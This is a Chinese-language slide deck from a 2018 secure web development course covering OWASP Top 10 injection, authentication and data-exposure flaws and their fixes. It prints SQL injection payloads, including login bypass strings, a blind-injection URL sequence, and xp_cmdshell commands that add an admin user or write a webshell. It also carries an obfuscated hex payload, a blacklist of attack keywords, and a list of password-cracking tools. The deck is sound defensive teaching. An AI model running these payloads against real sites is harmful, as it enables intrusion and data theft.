

# 網站安全程式開發

2018 / 7

# 講師

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- 現任：敦陽科技 - 資安部門 - 資深技術經理
- 經歷 (1996 ~)
  - ✓ 程式設計(C++、ASP.NET、C#):
    - 電子簽章、售票網站、音樂網站數位授權應用
  - ✓ CMMI 軟體開發成熟度認證
  - ✓ SOC (Security Operation Center) 系統建置與維護
  - ✓ DLP (Data Loss Prevention) 相關產品
  - ✓ APT (Advanced Persistent Threat) 事件偵測處理相關產品
  - ✓ 弱點掃描與滲透測試服務 (2007~Now) ←
- 資安認證
  - ✓ CEH 、 CISSP 、 CSSLP 、 CISM

# 課程大綱

- 前言
- 網站常見弱點與防護建議
  - ✓ OWASP Top 10 2017 最新版介紹
  - ✓ Others
- 結論

# 聲明

➤ 課程所介紹之攻擊手法內容僅用於瞭解以利進行防禦。  
若有學員以之進行非法活動，一切行為與本人及授課單位無關，由學員自行負責。

名稱	中華民國刑法 <a href="#">英</a>
修正日期	民國 107 年 06 月 13 日
法規類別	行政 > 法務部 > 檢察司

[所有條文](#) [編章節](#) [條號查詢](#) [條文檢索](#) [沿革](#) [立法歷程](#)

第二編 分則

第三十六章 妨害電腦使用罪

[第 358 條](#) 無故輸入他人帳號密碼、破解使用電腦之保護措施或利用電腦系統之漏洞，而入侵他人之電腦或其相關設備者，處三年以下有期徒刑、拘役或科或併科十萬元以下罰金。

[第 359 條](#) 無故取得、刪除或變更他人電腦或其相關設備之電磁紀錄，致生損害於公眾或他人者，處五年以下有期徒刑、拘役或科或併科二十萬元以下罰金。

[第 360 條](#) 無故以電腦程式或其他電磁方式干擾他人電腦或其相關設備，致生損害於公眾或他人者，處三年以下有期徒刑、拘役或科或併科十萬元以下罰金。


[第 361 條](#) 對於公務機關之電腦或其相關設備犯前三條之罪者，加重其刑至二分之一。

[第 362 條](#) 製作專供犯本章之罪之電腦程式，而供自己或他人犯本章之罪，致生損害於公眾或他人者，處五年以下有期徒刑、拘役或科或併科二十萬元以下罰金。

[第 363 條](#) 第三百五十八條至三百六十條之罪，須告訴乃論。


<http://law.moj.gov.tw/LawClass/LawParaDeatil.aspx?Pcode=C0000001&LCNOS=%20358%20%20&LCC=2>

Copyright of STI



# 前言


# 多方位的攻擊方式



<http://www.mtsc.com.tw/images/service/Network.gif>

# Network vs. Application

<https://www.edgescan.com/assets/docs/reports/edgescan-stats-report-2018.pdf>



# 野火燒不盡 ....



## ➤ 駭客想要：

- ✓ 取得資料的控制權
- ✓ 取得網站的控制權
- ✓ 取得電腦的控制權
- ✓ 癱瘓服務



# 歐巴馬因爆炸案受傷了!

<https://www.theverge.com/2013/4/23/4257392/ap-twitter-hacked-claims-explosions-white-house-president-injured>

## AP Twitter account hacked, makes false claim of explosions at White House (update)

by Chris Welch | April 23, 2013, 1:16pm EDT

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[Follow](#)

Breaking: Two Explosions in the White House and Barack Obama is injured

[Reply](#) [Retweet](#) [Favorite](#) [More](#)

483  
RETWEETS

17  
FAVORITES



10:07 AM - 23 Apr 13

### NOW TRENDING



# 網站訊息傳遞與攻擊

瀏覽器



手機APP



HTTP Request

HTTP Response


HTTP Response

網站伺服器主機

網頁程式

資料庫

目標網站系統




HTTP Proxy 程式

# 安全性?

## ➤ 安全功能：HTTP協定幾乎未提供

- ✓ 認證：部分 → AP 自己做
- ✓ Session 管理 → AP
- ✓ 授權 → AP
- ✓ 稽核 → AP
- ✓ 傳輸安全
  - 加密 → SSL 來輔助
  - 完整性 → AP
  - 不可否認性 → AP




# HTTPS




## ➤ HTTP+ SSL(Secure Sockets Layer)

✓ SSL is designed to encrypt “any” TCP/IP based network traffic

- 防竊聽
- 防資料竄改及重送
- 使用憑證來進行身份認證(完整、部分)




# SSL Handshake



# SSL is NOT enough

大項	子項
應用系統	<p>程式撰寫</p> <ul style="list-style-type: none"><li>- 商業邏輯</li><li>- 檔案上傳</li><li>- 認證、授權</li><li>- 輸入檢查 -&gt; SQL Injection, XSS..</li></ul> <p>Framework</p> <ul style="list-style-type: none"><li>- .NET, Java, 3<sup>rd</sup> party libraries</li></ul>
作業環境	<p>應用程式安裝環境</p> <ul style="list-style-type: none"><li>- backup、test files</li><li>- source code files</li><li>- config files</li></ul> <p>資料庫主機</p> <p>網站伺服器</p> <ul style="list-style-type: none"><li>- SSL config</li><li>- HTTP config</li></ul> <p>開啟的網路服務</p> <p>作業系統</p>



# 網站常見弱點與防護建議

- Open Web Application Security Project
- 開放Web軟體安全計畫

- ✓ 一個開放社群、非營利性組織，目前全球有82個分會近萬名會員，其主要目標是研議協助解決Web軟體安全之標準、工具與技術文件，長期致力於協助政府或企業瞭解並改善網頁應用程式的安全性。
- ✓ 參考客戶：
  - 美國聯邦貿易委員會(FTC)、美國國防部，國際信用卡資料安全PCI標準。
- ✓ 目前有30多個進行中的計畫，包括最知名的OWASP Top 10(十大Web弱點)，以及 WebGoat(代罪羔羊)練習平台、Enterprise Security API (ESAPI)、OWASP Guide Project等計畫，針對不同的軟體安全問題在進行討論與研究。

# OWASP Top 10 2017



## 2017年OWASP網站安全風險Top 10


- 1** 注入攻擊 (Injection)
- 2** 無效身分認證 (Broken Authentication)
- 3** 敏感資料外洩 (Sensitive Data Exposure)
- 4** XML外部處理器漏洞 (XML External Entity, XXE) 
- 5** 無效的存取控管 (Broken Access Control)
- 6** 不安全的組態設定 (Security Misconfiguration)
- 7** 跨站攻擊 (Cross-Site Scripting, XSS)
- 8** 不安全的反序列化漏洞 (Insecure Deserialization) 
- 9** 使用已有漏洞的元件 (Using Components with Known Vulnerabilities)
- 10** 記錄與監控不足風險 (Insufficient Logging & Monitoring) 

資料來源：OWASP，iThome整理，2017年11月

<https://www.ithome.com.tw/news/118411>

# 合規狀況


## ➤ [Veracode] “STATE OF SOFTWARE SECURITY 2017”




### SQL INJECTION TREND




### CROSS-SITE SCRIPTING TREND



### CREDENTIALS MANAGEMENT TREND




### CRYPTOGRAPHIC ISSUES TREND



## INDUSTRY COMPARISON – MAJOR VULNERABILITY CATEGORIES

Percentage of Applications Affected

Industry	Cross-Site Scripting	SQL Injection	Credentials Management	Cryptographic Issues
Financial Services	29.0%	19.3%	28.4%	43.5%
Government	49.0%	31.5%	32.7%	48.3%
Healthcare	34.8%	25.4%	32.7%	51.5%
Infrastructure	21.4%	9.0%	21.4%	24.3%
Manufacturing	19.3%	9.9%	18.8%	30.2%
Retail & Hospitality	28.5%	19.3%	30.1%	44.6%
Tech	8.6%	6.6%	10.3%	16.0%
Other	12.8%	8.3%	13.7%	20.4%



# A1 - Injection

# Injection



- 攻擊者透過界面餵入指令讓後端程式執行
  - ✓ **SQL Injection**
  - ✓ OS Command Injection
  - ✓ Code Injection
  - ✓ LDAP Injection
  - ✓ XPath Injection
  - ✓ ....



```
'利用使用者輸入的資料來組合 SQL 語法
strSQL='SELECT * FROM tblUser WHERE UserName=' &_
Request("UserName") & " AND Password=" & Request("Pass")
& "'"
'直接交給 SQL Server 執行，這是最危險的地方
Set rec=.Execute(strSQL)
```

## *SQL Injection (生:1998 ~ 卒:?)*

透過網站所提供的合法輸入介面，  
在輸入資料中夾帶一段SQL 程式碼，  
透過網站程式交予後端資料庫執行。

# 攻擊步驟



尋找系統中可能的注入點


確認後端資料庫種類

已有許多自動化工具可用！



根據想達到的目的注入  
**SQL攻擊指令**

# 注入SQL攻擊指令



- *Bypass Authentication*
- *Error Based*
- *Union Based*
- *Update Based*
- *Blind*
- *Batch Queries*
- *Extended Procedure*

# Bypass Authentication

➤不需要知道帳號密碼，就可登入系統！

**Select**

\*

**From**

**Account**

**Where**

**username='[帳號]'**

**and**

**password='[密碼]'**

**Select**

\*

**From**

**Account**

**Where**

**username='abcde'**

**and**

**password=' or 1=1--'**

攻擊字串範例：

- ‘ or “=‘
- ‘ or 1=1--
- ‘ or 1=1/\*
- ....

**Demo → ....**

# Error Based

- 早期常見：ASP + MS SQL
- 慢慢被解決(?)



→ 延伸閱讀：“SQL Injection (資料隱碼) – 駭客的 SQL 填空遊戲”

# Union Based

➤ 正常結果 + 駭客想知道的查詢結果

```
Select  
    id,user,message  
From  
    board  
Where  
    id= 8
```

```
Select  
    id,user,message  
From  
    board  
Where  
    id= 8  
Union select 1,2,version()--
```

Demo → ....

# Blind SQL Injection

- Error Base 的“修正”
  - ➔ 隱藏錯誤訊息
  - ➔ 沒用!!!
  - ➔ 頁面沒有任何錯誤訊息供判斷，故稱“Blind”

他不是駭客  
他其實是程式設計師



# Blind SQL Injection (cont.)

➤ 範例：

*True*



## Recent Transactions

After


Before

  
mm/dd/yyyy

Submit

TransactionID	AccountId	Description	Amount
1	1001160140	Paycheck	1200
1			

*False*



## Recent Transactions

After

Before

  
mm/dd/yyyy

Submit

TransactionID	AccountId	Description	Amount
1			

# 案例

## ➤ 猜測資料庫種類與版本

```
http://XXXXXXXXXXXX/productList.php?id=8 and ( select ASCII(substring(@@version,1,1)) ) >100 --> False --> 1 ~ 100
http://XXXXXXXXXXXX/productList.php?id=8 and ( select ASCII(substring(@@version,1,1)) ) >50 --> True --> 50 ~ 100
http://XXXXXXXXXXXX/productList.php?id=8 and ( select ASCII(substring(@@version,1,1)) ) >70 --> False --> 50 ~ 70
http://XXXXXXXXXXXX/productList.php?id=8 and ( select ASCII(substring(@@version,1,1)) ) >60 --> False --> 50 ~ 60
http://XXXXXXXXXXXX/productList.php?id=8 and ( select ASCII(substring(@@version,1,1)) ) >55 --> False --> 50 ~ 55
http://XXXXXXXXXXXX/productList.php?id=8 and ( select ASCII(substring(@@version,1,1)) ) =53 --> True --> ASCII = 53 --> '5'

http://XXXXXXXXXXXX/productList.php?id=8 and ( select ASCII(substring(@@version,2,1)) ) =46 --> 5.
http://XXXXXXXXXXXX/productList.php?id=8 and ( select ASCII(substring(@@version,3,1)) ) =48 --> 5.0
http://XXXXXXXXXXXX/productList.php?id=8 and ( select ASCII(substring(@@version,4,1)) ) =46 --> 5.0.
http://XXXXXXXXXXXX/productList.php?id=8 and ( select ASCII(substring(@@version,5,1)) ) =51 --> 5.0.3
http://XXXXXXXXXXXX/productList.php?id=8 and ( select ASCII(substring(@@version,6,1)) ) =55 --> 5.0.37
http://XXXXXXXXXXXX/productList.php?id=8 and ( select ASCII(substring(@@version,7,1)) ) =45 --> 5.0.37-
http://XXXXXXXXXXXX/productList.php?id=8 and ( select ASCII(substring(@@version,8,1)) ) =108 --> 5.0.37-1
http://XXXXXXXXXXXX/productList.php?id=8 and ( select ASCII(substring(@@version,9,1)) ) =111 --> 5.0.37-10
http://XXXXXXXXXXXX/productList.php?id=8 and ( select ASCII(substring(@@version,10,1)) ) =103 --> 5.0.37-log =====> MySQL DB
http://XXXXXXXXXXXX/productList.php?id=8 and ( select ASCII(substring(@@version,11,1)) ) >0 --> False --> Stop !
```

# Batch Queries

- 利用 ; 符號中止原查詢語句，串接其他指令。(MS-SQL 為主)
  - ✓ Select / Insert / Delete / Update / Drop ....
  - ✓ 資料庫管理用的 Stored Procedure 指令
- 攻擊字串範例：
  - ✓ id=1 ; drop table account;--
  - ✓ id=1 ; exec master..xp\_cmdshell 'net user  
Hacker Hacker /add';--
- 不見得會攻擊成功，需要 .....



# Batch Queries (cont.)

➤ MS-SQL 還有很多可以用 .....!!

延伸預存程序名稱(MS-SQL)	功用
<b>xp_cmdshell</b>	能夠以 SQL Server 的系統帳號身分來執行任何應用程式。
<b>xp_regXXXX</b>	存取作業系統的registry 資料。
<b>xp_servicecontrol</b>	停掉或啟動某個服務。
<b>xp_terminate_process</b>	停掉某個執行中的程序，但賦予的參數是 Process ID。
<b>xp_dirtree</b>	顯示某個目錄下的子目錄與檔案架構。
<b>xp_oaXXXX</b>	存取伺服器外部 OLE 物件。

# 防護建議




- 輸入資料檢驗
- 改寫資料庫存取程式
- 權限管理
- 妥善地處理錯誤訊息

讚

# Input Validation

## ➤ SOP :

*Decode data before validation !*



# Input Validation (cont.)

## ➤ 安全的參數檢驗“範例”

✓ 長度最多10字元

✓ 只允許英文和數字

➔ 只要不符合上述條件即回應錯誤訊息：“您的輸入錯誤！”，收工結束！

## ➤ Minimize Attack Surface Area !!!



SQL Injection 攻擊字串範例:

```
SELECT select_list FROM table_source WHERE column_name = anynumber;
declare/*Avoiding space*/@s/**/varchar(255)/**/
select/**/@s=0x626370206d61737465722e2e7379736f626a65637473206f757420633a5c696e65747075625c77777726f6f
exec/**/master..xp_cmdshell/**/@s
```

<http://renjin.blogspot.tw/2008/05/sql-injection-attacks-by-example.html>

[https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQEGHeayURjCYeVSTyF0QtLyThsr0JTE0Nlbsyn\\_LP9WTSPThovTQ](https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQEGHeayURjCYeVSTyF0QtLyThsr0JTE0Nlbsyn_LP9WTSPThovTQ)

# 輸入資料檢驗



讚

- 白名單 → 長度!
- 黑名單過濾 (不那麼建議)
- ✓ 不正常的語法關鍵字 ..... 檢查不完
  - **\***
  - **--**
  - **or 1=1--**
  - **or 2>1--**
  - **' or '='**
  - **and 1=1--**
  - **and 1=2--**
  - **';declare @a int;--**
  - **@@version>1**
  - **1/0**
  - **order by 100**
  - **' union select col1,col2,... from table--**
  - **;exec master..xp\_cmdshell 'net user Hacker Hacker /add';--**
  - **;exec master..xp\_cmdshell 'echo WEBSHELL > path/a.asp'--**
  - **;exec master..xp\_regread 'HKEY\_CURRENT\_USER,Software\ORL\WinVNC3',Password;--**
  - .....
  - .....

# 資料庫存取程式改寫 → 治本!

讚

➤ 程式改成 Parameterized Queries 的寫法來存取資料庫

✓ 弱點原因來自於攻擊者可以操縱最後執行的 SQL 語法。所以最佳的防治方法就是將SQL語句的邏輯與資料能夠互相隔離開來。

✓ 所有SQL語句都要改寫才有效

– 網站開始撰寫時就要告知所有程式設計師。

# 資料庫存取程式改寫(cont.)

✓ 程式範例（傳統的寫法）

→ Bad ! → SQL Injection !!

```
...
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = """
    + userName + "' AND itemname = ''"
    + ItemName.Text + "'";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...
```

# 資料庫存取程式改寫(cont.)

✓ 程式範例 (.NET – C#) (較好的寫法) :

```
string connString =  
WebConfigurationManager.ConnectionStrings["myConn"].ConnectionString;  
using (SqlConnection conn = new SqlConnection(connString))  
{  
    conn.Open();  
    SqlCommand cmd = new SqlCommand("SELECT Count(*) FROM  
Products WHERE ProdID=@pid", conn);  
    SqlParameter prm = new SqlParameter("@pid", SqlDbType.VarChar, 50);  
    prm.Value = Request.QueryString["pid"];  
    cmd.Parameters.Add(prm);  
    int recCount = (int)cmd.ExecuteScalar();  
}
```


# 資料庫存取程式改寫(cont.)

✓ 程式範例 (Java) (較好的寫法) :

```
String custname = request.getParameter("customerName");
// perform input validation to detect attacks
String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, custname);
ResultSet results = pstmt.executeQuery();
```

# 權限管理

- 分離應用程式中各個功能模組存取 DB 的權限，以免一個注入點就可取得所有資料。
  - ✓ 千萬不要用sa 執行所有資料庫存取動作！
- 限制資料庫執行程式本身的權限
- 將一般用不到但功能強大的延伸程序刪除或限制其操作者身份。
  - ✓ MS-SQL：
    - sp\_addextendedproc、sp\_addlogin、sp\_password、sp\_addsrvrolemember、xp\_cmdshell、xp\_availablemedia、xp\_dirtree、xp\_servicecontrol、xp\_subdirs .....等。



## A2 - Broken Authentication

# Broken Authentication

- Web應用程式中身份驗證相關功能有缺陷
  - ✓ 身份檢查被繞過 / 身份竊取
  - ✓ 身份權限移轉 (越權存取)



# 有風險的存取控制

## ➤ 使用網頁參數

✓ 早期常見

- `http://www.test.com.tw/UserDataManagement/UserDataEdit.aspx?access=read`
- `https://web_ip/index.php?id=john&is_admin=false&menu=basic`

→ 改！

# 有風險的存取控制(cont.)

## ➤ 使用 cookie

✓ 如果發現 Cookie 中存在類似以下數值

- uid : 整數
- username : 字串
- admin : 0/1/Y/N
- permission : 整數/字串

→ 再改! (Cookie Poisoning/Spoofing)

## ➤ 使用“表單隱藏欄位”

→ 照改!

# 案例：中華電信

The screenshot shows a web browser displaying a vulnerability report. The URL is <https://zeroday.hitcon.org/vulnerability/ZD-2016-00353>. The page title is "中華電信修改任意使用者密碼漏洞". The main content area includes the vulnerability ID (ZD-2016-00353), the reporter (中華電信), the title (中華電信修改任意使用者密碼漏洞), and a brief description (攻擊者可竄改找回密碼信箱達到修改任意使用者密碼). Below this is a section titled "處理狀態" (Handling Status) with a "敘述" (Description) box containing a detailed explanation of the vulnerability's nature and impact. A vertical timeline on the right indicates the status of the handling process: "已通報" (Reported), "已修補" (Fixed), and "公開" (Published).





## ➤ Authentication

- ✓ 不使用預設密碼/弱密碼
- ✓ 使用強密碼 ← 程式控制
- ✓ 設定密碼生命週期
- ✓ 密碼錯誤數次即鎖住帳號(或是延時機制)
- ✓ 別讓前端使用者有機會影響你的認證/授權機制
- ✓ 別以明文方式在網路上傳遞密碼
  - SSL
- ✓ 別以明文方式儲存密碼
  - Hash / Encryption

# 防護建議(cont.)

## ✓ 修改個人密碼

- 登入之後才能進行
- **Re-authentication**
- 千萬別讓使用者有任何機會操縱要修改的帳號
- SSL 加密傳輸
- 通知使用者(例:by email)

## ✓ 忘記密碼

- 不好的做法: “我家小狗名稱 ??” 
- **Send a unique time-limited unguessable single-use recovery URL to user's email provided during registration.**

# 防護建議(cont.)

寄件者: accreditation@accreditation.symantec.com  
收件者: fred.weng@sti.com.tw   
副本:  
主旨: How to reset your Symantec username and password at the Integral7 Credential Manager

Dear Fred Weng,

To reset your username or password at Symantec's Integral7 Credential Manager, please click on the account recovery link below or copy and paste the address onto your web browser's address window. When the page opens, enter the authentication code. Once you have authenticated, you may reset your username and/or password.

Account recovery link: <https://i7p.integral7.com/durango/aa?aakey=hGHhYchTMdkmuQnctPIR> 

Authentication Code: wrHSptus 

Please note that the account recovery link will expire on 09/05/2012. 

If you require further assistance resetting your password, please contact [accreditation@accreditation.symantec.com](mailto:accreditation@accreditation.symantec.com).

Thank you for contacting Symantec

-----

You are receiving this email because you are a customer of Symantec and have requested information regarding your account.  
Powered by the Integral7 Credential Bureau ([www.integral7.com](http://www.integral7.com))

# 防護建議(cont.)

## ➤ 安全的 Session Management

✓ 最大原則：每次登入所使用的 session ID 都要夠亂且不同！

✓ 傳輸保護

– 如果使用 cookie 傳送

- 限制 cookie scope (domain & path)
- 設定 HttpOnly flag
- 設定 secure flag

```
Set-Cookie:JSESSIONID:893ihewwydkq2764@&@09;Path=/;secure
```

– 如果不允許使用 cookie

- 別以 URL 參數方式進行傳遞
  - 會洩漏於 Referer header / Browsing History
  - 寧可：加密後儲存於表格的隱藏欄位(注意預防 replay)<sup>51</sup>

# 防護建議(cont.)



## ✓ Logout( ) !

- 清除所有存放於後端的 session 資料

```
this.Session.Abandon(); this.Session.Clear();
```

- 讓 session token 失效

```
Session.Abandon();
Response.Cookies.Add(new HttpCookie("ASP.NET_SessionId", ""));
```

<http://forums.asp.net/t/1755872.aspx?SessionID+not+getting+reset+after+Session+Abandon>

# 防護建議(cont.)

## ✓ Logout( ) ! (cont.)

### – Java Samples

#### ➤ Sample1:

```
HttpSession session = request.getSession(false);  
if (session != null) {  
    session.invalidate();  
}
```



#### ➤ Sample2:

```
public static HttpSession resetSessionId(HttpSession session,  
    HttpServletRequest request) {  
    session.invalidate();  
    session = request.getSession(true);  
    return session;  
}
```

<http://stackoverflow.com/questions/4836106/how-to-reset-jsessionId>

# 防護建議(cont.)



## ✓ Limit session lifetime

### – Java Samples


#### *Web.xml*

```
<session-config>
<!-- inactivity timeout in minutes -->
<session-timeout>15</session-timeout>
</session-config>
```

#### *Coding:*

```
// inactivity timeout in seconds
session.setMaxInactiveInterval(900);
```

## ✓ No concurrent logins !



## A3 - Sensitive Data Exposure

# Sensitive Data Exposure

- 應用程式無意中回應機敏資料
  - ✓ 內網IP、資料連結方式、密碼....
- 應用程式沒有對機敏資料加密保護
  - ✓ → Log / 備份
  - ✓ → APP
  - ✓ → 傳輸
- 有加密，但是
  - ✓ 使用較弱的加密演算法遭到破解
  - ✓ 金鑰儲存控管不佳

# 帶有技術資料的錯誤訊息

The screenshot shows a Windows Internet Explorer window with the title "Altoro Mutual: Server Error - Windows Internet Explorer". The address bar contains "http://demo.testfire.net/bank/login.aspx". The page itself is titled "An Error Has Occurred". It includes a "Summary:" section with the text "Syntax error in string in query expression 'username = ''.", and an "Error Message:" section containing a long stack trace of .NET framework code. A red arrow points from the bottom left towards the error message text.

Altoro Mutual: Server Error - Windows Internet Explorer

http://demo.testfire.net/bank/login.aspx

檔案(F) 編輯(E) 檢視(V) 我的最愛(A) 工具(I) 說明(H)

我的最愛 Altoro Mutual: Server Error

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## An Error Has Occurred

**Summary:**

Syntax error in string in query expression 'username = ''.

**Error Message:**

```
System.Data.OleDb.OleDbException: Syntax error in string in query expression 'username = ''.
   at System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling(OleDbHResult hr)
   at System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult(tagDBPARAMS dbParams, Object& executeResult)
   at System.Data.OleDb.OleDbCommand.ExecuteCommandText(Object& executeResult)
   at System.Data.OleDb.OleDbCommand.ExecuteReaderInternal(CommandBehavior behavior, String method)
   at System.Data.OleDb.OleDbCommand.ExecuteReader(CommandBehavior behavior)
   at System.Data.OleDb.OleDbCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior)
   at System.Data.Common.DbDataAdapter.FillInternal(DataSet dataset, DataTable[] datatables, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
   at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
   at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable)
   at Altoro.Authentication.ValidateUser(String uName, String pWord) in d:\downloads\AltoroMutual_v6\website\bank\login.aspx.cs:line 73
   at Altoro.Authentication.Page_Load(Object sender, EventArgs e) in d:\downloads\AltoroMutual_v6\website\bank\login.aspx.cs:line 33
   at System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t, EventArgs e)
   at System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e)
   at System.Web.UI.Control.OnLoad(EventArgs e)
   at System.Web.UI.Control.LoadRecursive()
   at System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint)
```

Privacy Policy | Security Statement | © 2009 Altoro Mutual, Inc.


# 機敏資料傳輸時需加密

➤ 使用 SSL 保護所有傳輸機敏資料的網頁！

- ✓ 身份認證資料
  - Password、Session ID
- ✓ 個人資料
- ✓ 交易資料
- ✓ 信用卡資料

➤ 記得關閉非 SSL 的存取管道！

無需實體連線即可偷取封包



# “密碼”不要明文儲存!

➤ Password : 12345678

Algorithm	Value
Base64	MTIzNDU2Nzg=
DES (13 chars)	aaNN3X.PL2piw
MD5 (32 chars)	25d55ad283aa400af464c76d713c07ad
SHA1 (40 chars)	7c222fb2927d828af22f592134e8932480637c0d
Salted MD5	\$1\$tsLFcOYh\$5ibC1Ui2OPwUvyGUttUFI1
LanMan	0182BD0BD4444BF836077A718CCDF409
NTLM	259745CB123A52AA2E693AAACCA2DB52


*Encoding ?*

*Hash?*


*Encryption?*

# 觀念說明

## ➤ Encoding (編碼) : Base64 、 HTML Encoding



## ➤ Hash (雜湊函數) : MD5 、 SHA1



- The input can be of any length.
- The output has a fixed length.
- $H(x)$  is relatively easy to compute for any given  $x$ .
- $H(x)$  is one-way.
- $H(x)$  is collision-free.


## ➤ Encrypt (加密) : AES



(<http://www.rsa.com/rsalabs/node.asp?id=2176>)

# Hashed Password Cracking

➤ “暴力破解”密碼



Winrtgen v2.8 (Rainbow Tables Generator) by mao

Rainbow Table properties

Hash	Min Len	Max Len	Index	Chain Len	Chain Count	N° of tables
lm	1	7	0	2400	40000000	1

sh1  
ripemd160  
mysql323  
mysqlsha1  
ciscopix  
sha256  
sha384  
sha512  
oracle  
wpa-psk

Success probability: 0.978038 (97%)

Benchmark  
Hash speed:  
Step speed:  
Table recompute time:

Free Rainbow Tables | download LM, NTLM, MD5, SHA1, HALFLMCHALL, MSCACHE - Microsoft Internet Explorer

檔案(F) 編輯(E) 檢視(V) 我的最愛(A) 工具(I) 說明(H)

上一頁 前一頁 後一頁 下一頁 搜尋 我的最愛

網址(D) http://www.freerainbowtables.com/index-rainbowtables-tables-sha1.html 移至 連結

Algorithm:	SHA1
Character Set:	mixalpha-numeric (abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789)
String Length:	1-7 characters
Number of Tables:	101
Filesize:	36.9GB (rar-compressed)
Download:	<a href="#">Torrent - Download torrent for these rainbow tables</a>
Files:	sha1_mixalpha-numeric#1-7_0_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_1_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_2_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_3_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_4_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_5_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_6_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_7_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_8_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_9_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_10_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_11_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_12_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_13_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_14_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_15_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_16_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_17_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_18_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_19_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_20_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_21_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_22_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_23_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_24_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_25_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_26_4500x4000000_all.rar sha1_mixalpha-numeric#1-7_27_4500x4000000_all.rar

完成 網際網路

# Password Crackers

- **John the Ripper**
  - ✓ <http://www.openwall.com/john/>
  - ✓ DES/MD5/Salted MD5/LM
- **John The Ripper MPI Patch**
  - ✓ <http://bindshell.net/tools/johntheripper>
  - ✓ DES/MD5/Salted MD5/LM/NTLM/...
- **Cain & Abel**
  - ✓ <http://www.oxid.it/>
  - ✓ LM/NTLM/MD5/SHA1/...
- **RainbowCrack**
  - ✓ <http://www.antsight.com/zsl/rainbowcrack/>
  - ✓ MD5/SHA1/LM/NTLM/...
- **Google**
  - ✓ Reverse MD5
  - ✓ Reverse SHA1

# 雲端服務

本站数据量宇宙第一，实时查询记录超过4.8万亿条，其中95%以上全球独有，共占用50T硬盘，所有硬盘重量超过50斤！已包含11位及11位以下数字、7-8位小写字母加数字、6位大小写字母加数字等组合、以及大量其它数据(最长达20位)。一般的查询是免费的。

本站后台分布式破解，可破解范围更广，成功几率更大。一屋子电脑实时计算，产生了大量的噪音和电费，可破解12位数字、9位小写字母加数字、8位大小写字母加数字、7位任意字符等，同时支持sha1,双重md5加密,加salt等各种变异解密。单条破解时间为数分钟到1小时不等。

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密文:

密文加密类型:

查询结果:

本站拥有全球最大的数据库，连续多年百度排名第一，如果本站无法破解，那么你只能拜春哥！

4年前，我站成功率是87.53%，到半年前，有客户达到95%，然而追求无止境，再过1个月，力争达到98%，敬请期待！

## ➤ Principles : 拿不到、解不開

- ✓ 機敏資料不要回傳到前端
- ✓ 傳輸或儲存時透過Hash或是加密保護。
  - 使用通過國際標準的演算法 & 較長的 key size
  - Hash

- 不要再用 : LM、MD5、SHA1
- 請使用 : MD5~~service~~、SHA-256
- 在每個產生的 hash 值再加入亂數字串(salt)
  - 例1 : \$1\$tsLFcOYh\$5ibC1Ui2OPwUvyGUttUF11
  - 例2 : Hash("secret", "1lkjdo3opf"), Hash("secret", "mkdi2kan7")

### – Cipher

- 不要再用 : DES、Triple DES
- 請使用 : AES(AES-128, AES-192 and AES-256)

## ➤ Java Sample

```
import java.security.MessageDigest;
import java.security.SecureRandom;

public byte[] getHash(int rounds, String password, byte[] salt) throws
NoSuchAlgorithmException {
    MessageDigest hashvalue = MessageDigest.getInstance("SHA-256");           //SHA-256 以上
    hashvalue.reset();
    hashvalue.update(salt);           //salt 長度至少要為 64 位元
    byte[] input = hashvalue.digest(password.getBytes("UTF-8"));
    for (int i = 0; i < rounds; i++) {      //以迴圈反覆運算多次來增加彩虹表建表成本
        hashvalue.reset();
        input = hashvalue.digest(input);
    }
    return input;          //產生出精心計算的 hash，難以用暴力法輕易破解與彩虹表查表
}

SecureRandom random = SecureRandom.getInstance("SHA1PRNG"); //用安全的亂數產生器
byte[] bSalt = new byte[8];
random.nextBytes(bSalt);
byte[] bDigest = getHash(ITERATION_ROUNDS,password,bSalt);
String sDigest = byteToBase64(bDigest); //該次的加密密碼，連同帳號一併儲存到資料庫
String sSalt = byteToBase64(bSalt);     //該次的 salt，連同帳號一併儲存到資料庫
```

